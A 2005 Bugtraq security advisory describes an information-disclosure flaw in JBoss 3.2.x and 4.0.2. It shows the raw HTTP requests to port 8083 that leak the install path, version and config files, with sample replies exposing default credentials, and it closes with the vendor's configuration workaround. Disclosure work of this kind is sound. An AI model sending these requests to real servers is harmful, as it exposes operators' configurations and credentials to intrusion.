[<prev] [next>] [day] [month] [year] [list]
Message-ID: <42B34464.4080609@gmx.org>
Date: Fri, 17 Jun 2005 23:45:08 +0200
From: Marc Schoenefeld <marc.schoenefeld@....org>
To: "Bugtraq" <bugtraq@...urityfocus.com>
Subject: JBOSS 3.2.2-3.2.7 / 4.0.2 installation path disclosure / config disclosure
/ version fingerprinting
Security Advisory: JBOSS 3.2.2-3.2.7 / 4.0.2 installation path
disclosure / config disclosure / version fingerprinting
Date: 14/06/05
URL: http://www.illegalaccess.org/java/jboss_path.php
Problem:
The default installation of JBoss reveals the path of the installation
directory and
allows fingerprinting of the server software version by an
unauthenticated HTTP request.
This is due to an information leak bug in the org.jboss.web.WebServer
class.
Unfortunately the JBoss developers did not follow the pattern of
software reuse
and invented their own webserver for RMI code download. The implementation
when confronted with an expected HTTP request such as 'GET %.' reveals
system platform information useful for an attacker. Due to the
classloader architecture
the RMI class download service on port 8083 also allows an attacker to
fingerprint
the version of the JBoss server and with version 4.0.2 to download all
config files such
as the security settings from the /conf directory.
Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0
Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html
Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy HTTP/1.0
Replz>
HTTP/1.0 200 OK
Content-Length: 550
Content-Type: text/html
///
====================================================================== ///
//
//
// JBoss Security Policy //
// //
///
====================================================================== ///
// $Id: server.policy,v 1.4 2003/08/27 04:31:53 patriot1burke Exp $
grant {
// Allow everything for now
permission java.security.AllPermission;
};
Verbindung zu Host verloren.
Example 3 (Login config disclosure): [3.2.x and 4.0.2]:
Request
>> telnet [jbosshost] 8083
>> GET %login-config.xml
HTTP/1.0 200 OK
Content-Length: 6692
Content-Type: text/html
<?xml version='1.0'?>
<!DOCTYPE policy PUBLIC
"-//JBoss//DTD JBOSS Security Config 3.0//EN"
"http://www.jboss.org/j2ee/dtd/security_config.dtd">
[...]
<!-- Security domains for testing new jca framework -->
<application-policy name = "HsqlDbRealm">
<authentication>
<login-module code =
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
flag = "required">
<module-option name = "principal">sa</module-option>
<module-option name = "userName">sa</module-option>
<module-option name = "password"></module-option>
<module-option name =
"managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option>
</login-module>
</authentication>
</application-policy>
<application-policy name = "JmsXARealm">
<authentication>
<login-module code =
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
flag = "required">
<module-option name = "principal">guest</module-option>
<module-option name = "userName">guest</module-option>
<module-option name = "password">guest</module-option>
<module-option name =
"managedConnectionFactoryName">jboss.jca:service=TxCM,name=JmsXA</module-option>
</login-module>
</authentication>
</application-policy>
[...]
Example 4 (Version fingerprint): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %org/jboss/version.properties HTTP/1.0
Reply:
HTTP/1.0 200 OK
Content-Length: 1138
Content-Type: text/html
###
====================================================================== ###
##
##
## Holds version properties for
JBoss. ##
## ##
##
====================================================================== ###
### $Id: version.properties,v 1.1.26.1 2004/10/17 21:20:13 starksm Exp $
###
# The version of the server
version.major=4
version.minor=0
version.revision=2
version.tag=
version.name=Zion
version.cvstag=JBoss_4_0_2
# Build identifiers
build.number=200505022023
[and so on]
Severity:
Risk of information leakage.
Workaround:
The JBoss group was contacted on 6/12/05 and reacted with the suggestion
to completely disable the
download of server classes. But this brutal fix severely damages the
functionality and usefulness
of the application server :-( . It seems that they do not consider this
to be a bug that needs
a fix. I leave this uncommented... but anyway the following XML snippets
demonstrates their fix...
<mbean code="org.jboss.web.WebService"
name="jboss:service=WebService">
<attribute name="Port">8083</attribute>
<!-- Should resources and non-EJB classes be downloadable -->
<!-- old <attribute name="DownloadServerClasses">true</attribute> -->
<!-- new --> <attribute name="DownloadServerClasses">false</attribute>
<attribute name="Host">${jboss.bind.address}</attribute>
<attribute name="BindAddress">${jboss.bind.address}</attribute>
</mbean>
Powered by blists - more mailing lists